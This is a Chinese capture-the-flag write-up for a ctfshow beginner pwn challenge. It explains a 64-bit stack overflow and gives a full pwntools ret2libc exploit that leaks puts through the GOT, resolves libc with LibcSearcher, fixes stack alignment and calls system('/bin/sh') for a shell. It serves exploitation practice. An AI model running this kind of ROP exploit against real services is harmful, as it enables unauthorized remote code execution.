[ctfshow]萌新赛 签到题
首先查看一下保护措施

用ida打开看一下

这里有两可能的溢出的,一个是src,一个是buf2,然后具体看一下buf2在bss段,大小为104,比0x64大,并不会造成溢出
然后没有后门函数,没有bin/sh的字符串,那就是利用puts函数进行libc的泄露了
这里要注意的是在64位下调用system函数要检查栈对齐,这题是没有对齐的,就在调用system前加上一个指令ret
点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
context(os='linux',arch='amd64',log_level='debug')
io=remote('pwn.challenge.ctf.show',28144)
elf=ELF('./pwn')
rdi_addr=0x400793
pop_ret = 0x40053e
plt_addr=elf.plt['puts']
got_addr=elf.got['puts']
main_addr=elf.symbols['main']
payload=b'a'*(0x70+0x08)+p64(rdi_addr)+p64(got_addr)+p64(plt_addr)+p64(main_addr)
io.recvuntil('successful!')
io.sendline(payload)
io.recvuntil('joke')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr - libc.dump('puts')
system_addr=libc_base + libc.dump('system')
bin_sh_addr=libc_base + libc.dump('str_bin_sh')
payload1=b'a'*(0x70+0x08)+p64(pop_ret)+p64(rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
io.sendline(payload1)
io.interactive()

浙公网安备 33010602011771号